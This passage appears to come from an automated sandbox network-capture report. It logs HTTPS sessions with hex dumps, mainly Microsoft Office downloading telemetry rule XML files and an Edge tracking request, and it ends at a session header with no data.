57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-13 17:08:33 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-13 17:08:33 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-13 17:08:33 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-13 17:08:33 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-13 17:08:34 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-13 17:08:34 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-13 17:08:34 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-13 17:08:34 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-13 17:08:34 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:33 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:33 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:33 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6c65b011-001e-000b-6024-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170833Z-16547b76f7fm7xw6hC1DFW5px40000000heg0000000003yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:33 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:33 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:34 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 792e95e0-001e-0065-4da8-340b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170834Z-r178fb8d765z89v7hC1DFW0kvw000000014000000000p06b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:34 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:34 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:34 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 510f214b-601e-0050-22a5-342c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170834Z-1749fc9bdbd9f5rdhC1DFWbers00000001f0000000005un0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:34 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49921	108.156.211.71	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:34 UTC	925	OUT	GET /b?rn=1731517712828&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28116A1F6C666513052C7F296D6E64D8&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 17:08:34 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 13 Nov 2024 17:08:34 GMT Location: /b2?rn=1731517712828&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28116A1F6C666513052C7F296D6E64D8&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1ACc15ff3653c780308aae71731517714; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1ACc15ff3653c780308aae71731517714; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 bbbf5b005219c1aba4258ed2665d16aa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: Qs4UsqxAUyAhuCuciuR2n9ls51Dn9_u_RfpG6I7V8BBwtGgkqO4fXw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:34 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:34 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: a8f5567d-f01e-003f-7aa0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170834Z-r178fb8d765tllwdhC1DFWaz8400000001gg0000000027sc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:34 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:34 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:34 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:34 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5b14ddc3-301e-0033-2bd2-2cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170834Z-16547b76f7fj5p7mhC1DFWf8w40000000heg00000000v5u0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:34 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49920	20.125.209.212	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
